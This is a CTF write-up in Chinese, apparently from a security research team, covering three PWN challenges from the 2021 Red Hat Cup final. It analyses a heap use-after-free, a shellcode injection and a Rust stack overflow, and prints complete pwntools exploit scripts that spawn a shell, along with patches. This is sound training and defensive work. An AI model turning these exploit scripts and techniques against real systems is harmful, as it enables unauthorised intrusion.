2021年第四届红帽杯线下赛WP| PWN部分全

admin 2021年12月3日03:13:23评论150 views字数 10589阅读35分17秒阅读模式

oooohMsgHTTP

程序分析


这是个解析http协议的程序,通过请求的目录去执行不同的函数。

2021年第四届红帽杯线下赛WP| PWN部分全


    其中/ping执行的函数就是一个普通的输出,/welcome执行的函数可以泄露出程序的基地址,/register_user执行的函数可以通过post包的username和password参数申请堆块去注册我们用户,/login_user执行的函数就是去登录我们已经注册的用户并将其堆指针存放在bss段0x2050A0偏移地址,要执行后面的操作必须要先登录用户。/add_message的操作是申请一个堆块保存我们输入的内容并将堆指针存放在bss段的0x2050C8偏移地址中,/del_message的操作主要是释放堆块,然后还把堆指针给置零了,所以该函数不存在uaf。主要的漏洞利用还是在后面的函数。


    先来看看/get_messge的操作,可以看到这里将其存放的message指针放在了bss的ptr变量的位置,所以执行完此函数bss段上有两个 位置保存着messge的指针,这里还有一个前提条件是要用另外一个用户的身份进行登录。

2021年第四届红帽杯线下赛WP| PWN部分全


    再来看下/empty_message的操作,这里将刚才get的ptr指针给释放了,但是没有将原来的那个位置释放,还是可以对已经释放的堆指针进行操作,所以这里存在一个UAF的漏洞。

2021年第四届红帽杯线下赛WP| PWN部分全


    然后来看下这个/edit_message的操作,通过刚才的/empty_message的操作,我们可以利用此函数来对空闲的堆块进行编辑,这里的前提是用户要是我们add_messge时候的用户身份,所以我们先登录回上一个身份才能对其进行编辑。

2021年第四届红帽杯线下赛WP| PWN部分全


    最后来看下/show_message的操作,这里是输出ptr指针的内容,这里我们可以将ptr的堆块放进unsorted bin中,然后再get一次堆指针,就可以泄露出unsorted bin的fd指针。

2021年第四届红帽杯线下赛WP| PWN部分全



漏洞利用

    通过上面的程序分析,我们可以对漏洞进行利用:

    先利用/add_messge和/del_messge将tcache填满,

    再利用/get_messge和/empty_messge将指针释放后放进unsorted bin,

    然后利用/get_messge和/show_messge将unsorted bin的fd泄露出来,

    最后再利用一次UAF,/edit_messge改tcache的fd为free hook的地址为system。


exp

from pwn import*
context.log_level=True
elf=ELF('oooohMsgHTTP')
libc=ELF('libc-2.27.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
p=process('./pwn',env={'LD_PRELOAD':'./libc-2.27.so'})
#p=process('./oooohMsgHTTP')
#p=remote('172.16.9.2',9002)


welcome='''POST /welcome HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
add_message='''POST /add_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
del_message='''POST /del_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
edit_message='''POST /edit_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
register_user='''POST /register_user HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
login_user='''POST /login_user HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
get_message='''POST /get_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
empty_message='''POST /empty_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''
show_message='''POST /show_message HTTP/1.1rnContent-Length: 0rnCookie: Username=aaaaa;Messages=./flagrnrn'''

p.recvuntil('=========================   Server Start!   ===========================n')
#############welcome
payload=welcome

p.sendline(payload)

p.recvuntil('Here is my gift: ')
leak=int(p.recv(14),16)
pie=leak-(0x555555555470-0x0000555555554000)
print hex(pie)

#############register_user
payload=register_user+"username=aa&password=bb"

p.sendline(payload)

############login_user
payload=login_user+"username=aa&password=bb"
p.sendline(payload)

def add(size,message='a'*0xf0):

############add
payload=add_message+"size="+str(size)+"&message="+message

p.sendline(payload)

p.recvuntil('{"secret":')
secret=p.recvuntil(',"add',drop=True)
print secret
return secret
def dele(id):

payload=del_message+"message_id="+str(id)

p.sendline(payload)
def edit(secret,message):

payload=edit_message+"secret="+str(secret)+'&message='+str(message)

p.sendline(payload)
for i in range(13):
secret=add(0x90,'a'*0x90)

for i in range(13):
dele(i)

for i in range(8):
secret=add(0xf8,'a'*0xa8)

for i in range(7):
dele(i)
#############register_user
payload=register_user+"username=aaa&password=bbb"

p.sendline(payload)

############login_user
payload=login_user+"username=aaa&password=bbb"
p.sendline(payload)
###get
print secret

payload=get_message+"secret="+str(secret)

p.sendline(payload)
###empty_message

payload=empty_message+"is_confirmed=yes"

p.sendline(payload)
###get

print secret

payload=get_message+"secret="+str(secret)

p.sendline(payload)


###show
print secret

payload=show_message

p.sendline(payload)

p.recvuntil('{"message":"')
leak=u64(p.recv(6).ljust(8,'x00'))
print hex(leak)
libcbase=leak-(0x7ffff7dcdd50-0x00007ffff79e2000)
print hex(libcbase)
malloc=libcbase+libc.sym['__free_hook']

###################################################

for i in range(6):
secret=add(0xf8,'a'*0x18)

for i in range(5):
dele(i)
#############register_user
payload=register_user+"username=aaaa&password=bbbb"

p.sendline(payload)

############login_user
payload=login_user+"username=aaaa&password=bbbb"
p.sendline(payload)
###get
print secret

payload=get_message+"secret="+str(secret)

p.sendline(payload)
###empty_message

payload=empty_message+"is_confirmed=yes"

p.sendline(payload)
############login_user
payload=login_user+"username=aaa&password=bbb"
p.sendline(payload)

edit(secret,p64(malloc-0x10))
sec=add(0xf8,'a'*0x18)
print sec
system=libcbase+libc.sym['system']
payload=(p64(malloc)*8).ljust(0xf8,'a')


one=libcbase+0x10a45c
add(0xf8,p64(0x1111111122222222)*2+p64(system))


payload=login_user+"username=/bin/s&password=/bin/shx00"
p.sendline(payload)

p.interactive()


patch

此题的漏洞点是把堆指针放到ptr之后存在UAF的问题,加固的话我们只需要把原来的堆指针置零就可以了。

原来的程序

2021年第四届红帽杯线下赛WP| PWN部分全


我们只需要跳到eh_frame段将原来的指针置零就可以。

2021年第四届红帽杯线下赛WP| PWN部分全



2021年第四届红帽杯线下赛WP| PWN部分全


加固后的效果

2021年第四届红帽杯线下赛WP| PWN部分全


mypypy

程序分析


    这个就是把py转成汇编,和c语言的内联汇编差不多,相当于在端口上运行一个python解释器。

    如果传入的函数名是main,将会呗设置为入口,所以我们只需要定义一个main函数即可。

2021年第四届红帽杯线下赛WP| PWN部分全


    main函数中传入的字符串会拼接起来,可造成shellcode注入,可直接调用syscall来getshell。

2021年第四届红帽杯线下赛WP| PWN部分全


    此处_array_size还存在一个数组越界,可以读到text,然后leak,最后ROP就行。

2021年第四届红帽杯线下赛WP| PWN部分全


2021年第四届红帽杯线下赛WP| PWN部分全


exp

from pwn import *
#context.log_level=True
p=remote('127.0.0.1',12000)


code="""
def main():
"0;mov rdi, 0x68732f6e69622f; push rdi; push rsp; pop rdi ; xor rsi,rsi; xor rdx,rdx; push 59; pop rax;syscall"
main()
END
"""
code1="""
def main():
  arr = array(8)
  _array_size += 0x1000
  leak = arr[90]
  base = leak - 0x158030
  arr[13] = base + 0x5f820 
  arr[14] = base + 0x5f81f 
  arr[50] = 0x6873 
  arr[16] = base + 0x5b1a0 
  _array_size -= 0x1000
  return
main()
END
"""
p.recvuntil('127.0.0.1 8888" n')
p.sendline(code)
p.recvuntil('recv END.n')

p.interactive()

patch

直接加个断言即可。



Ruuuuust

程序分析


    rust 语言写的程序,除了 canary 以外保护全开:

2021年第四届红帽杯线下赛WP| PWN部分全

    rust 写的程序逆向分析会发现多了很多分支,通过动态调试辅助定位实现功能的函数。

    在输入选择时中断程序,通过 gcc breakpoint 查看上层调用函数的地址,定位到 main 函数的地址为:0x7C10

    109 行开始就是 switch 判断进入对应功能的实现函数,switch 判断是输入值 +1 :

2021年第四届红帽杯线下赛WP| PWN部分全

    set_name 和 show_name 两个功能啥问题,name size 限制小于 0x10 ,输入函数在 235 行的 read 函数。show name 的时候用 memcpy 复制到另外一个栈变量,然后再进行输出。

    talk 询问 size 时,限制不大于 0xf8 :

2021年第四届红帽杯线下赛WP| PWN部分全


    输入函数用的还是 235 行 read ,向栈上写入 0xb8 已经造成溢出:

2021年第四届红帽杯线下赛WP| PWN部分全

    

    退出程序时:

2021年第四届红帽杯线下赛WP| PWN部分全


    程序输入输出都是复用 read 和 write

利用思路

    rust 不能通过表调用函数,需要利用程序中的 call 片段。程序中有两种调用形式:

  • 直接 call write

    2021年第四届红帽杯线下赛WP| PWN部分全

  • 将 write 地址写入寄存器,然后 call 寄存器

    2021年第四届红帽杯线下赛WP| PWN部分全

    栈溢出构造出一个 read 函数,向 bss+0x400 写入 write 和第二个 read 的利用链,再次栈迁移到 system 函数。

    直接全局搜索 read_ptr 找调用 read 的片段,找到两个:

2021年第四届红帽杯线下赛WP| PWN部分全

0x1eac0 调用完还会调用其他函数,最后会 crash ;用 0x7dd0 调用后,配合 exit 时 r15 出栈操作,可以实现多一次调用:

2021年第四届红帽杯线下赛WP| PWN部分全


2021年第四届红帽杯线下赛WP| PWN部分全


# ===read(0,bss+0x500-8,0x400)
payload = 'a'*(0xb8-0x18)+p64(leave_ret)*2+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

    write 泄露出 write@got 的地址,找 write 调用片段一样方法。

    gdb 调试 0x24F10 发现调用完后,会调用利用链 +8 的 gadget ,所以要加下填充。

# ===write(2,write_got,8)===
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(2)
payload += p64(pop_rsi_ret)+p64(write_got)
#payload += p64(pop_rdx_ret)+p64(0x8)+p64(0)
payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base)#avoid crash
payload += p64(0x24F10+elf_base)

payload += p64(0xdeadbeef)#padding

# ===read(0,bss+0x400-8,0x400)===
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

    泄露出的不是 libc 地址,无伤大雅,那个地址和 libc 偏移固定的:

# ===leak libc===
write_leak = u64(p.recv(6).ljust(8,'x00'))
log.info("write_leak:"+hex(write_leak))
libc_base = write_leak - (0x7ffff77a5360-0x7ffff719f000)#libc.sym['write']

最后需要用 ret 调整一下栈结构。


EXP

from pwn import *
context.log_level = 'debug'

p = process("./Ruuuuust")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libdl = ELF("/lib/x86_64-linux-gnu/libdl-2.27.so")
elf = ELF("./Ruuuuust")

'''
0x55555555acaa:welcome
0x55555555acd4:menu
0x55555555acef:input choice

===set name===
0x55555555bdd0:read(0,v7,v6)
===show name===
0x55555555c266:function(Name)
===talk with me===
0x55555555bdd0:read(0,v7,v6)

'''

def setname(name='a'*0x10):
p.sendlineafter("Your Choice: ",str(1))
p.sendlineafter("Your Size: ",str(len(name)))
p.sendafter("Your Name: ",name)
def showname():
p.sendlineafter("Your Choice: ",str(2))
def talk(content):
p.sendlineafter("Your Choice: ",str(3))
p.sendlineafter("Your Size: ",str(len(content)))
p.sendafter("want to say: ",content)
def show_show():
p.sendlineafter("Your Choice: ",str(4))
def my_exit():
p.sendlineafter("Your Choice: ",str(5))
def gift():
p.sendlineafter("Your Choice: ",str(23339999))

padding = 184

gdb.attach(p,"b *$rebase(0x3c31c)")
#gdb.attach(p,"b *0x55555559031c")
#gdb.attach(p,"b *0x55555555c34d")
#gdb.attach(p,"b *$rebase(0x1C03D)")
pause()

# ===leak elf base===
gift()
p.recvuntil("gift: ")
leak_addr = int(p.recvuntil('n',drop=1),16)
elf_base = leak_addr - (0x555555591758-0x555555554000)
log.info("elf_base:"+hex(elf_base))

pop_rdi_ret = elf_base+0x00000000000061de
pop_rsi_ret = elf_base+0x00000000000062a7
pop_rdx_ret = elf_base+0x0000000000008d93
pop_rbx_ret = elf_base+0x0000000000006d38
leave_ret = elf_base+0x000000000003c31c
ret = elf_base+0x0000000000006016

write_got = elf.sym['write']+elf_base

setname('skye'*4)
showname()

# ===overflow size===
#payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaac'


# ===read(0,bss+0x500-8,0x400)
payload = 'a'*(0xb8-0x18)+p64(leave_ret)*2+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x500-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)
talk(payload)
my_exit()

# ===write(2,write_got,8)===
'''
payload = 'a'*(0xb8-8-8*6)+p64(elf.bss()+0x500+elf_base)*7
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(write_got)
payload += p64(elf_base+0x24F10)
'''
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(2)
payload += p64(pop_rsi_ret)+p64(write_got)
#payload += p64(pop_rdx_ret)+p64(0x8)+p64(0)
payload += p64(pop_rbx_ret)+p64(elf.bss()+elf_base)#avoid crash
payload += p64(0x24F10+elf_base)

payload += p64(0xdeadbeef)#padding

# ===read(0,bss+0x400-8,0x400)===
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdx_ret)+p64(0x400)+p64(0)
payload += p64(elf_base+0x7DD0)

sleep(0.2)
p.send(payload)

# ===leak libc===
write_leak = u64(p.recv(6).ljust(8,'x00'))
log.info("write_leak:"+hex(write_leak))
libc_base = write_leak - (0x7ffff77a5360-0x7ffff719f000)#libc.sym['write']
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + libc.sym['system']
log.info("system_addr:"+hex(system_addr))
binsh_str = libc_base + libc.search('/bin/sh').next()

# ===system(/bin/sh)===
payload = p64(elf.bss()+0x400-8+elf_base)
payload += p64(pop_rdi_ret)+p64(binsh_str)
payload += p64(ret)
payload += p64(system_addr)
sleep(0.2)
p.send(payload)

p.interactive()

patch

将可输入长度减少:

2021年第四届红帽杯线下赛WP| PWN部分全

2021年第四届红帽杯线下赛WP| PWN部分全

加固后:

2021年第四届红帽杯线下赛WP| PWN部分全




2021年第四届红帽杯线下赛WP| PWN部分全

如果您有意向加入我们,请留言: ),

或邮件投递简历:[email protected]



本文始发于微信公众号(山石网科安全技术研究院):2021年第四届红帽杯线下赛WP| PWN部分全

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月3日03:13:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2021年第四届红帽杯线下赛WP| PWN部分全http://cn-sec.com/archives/441056.html

发表评论

匿名网友 填写信息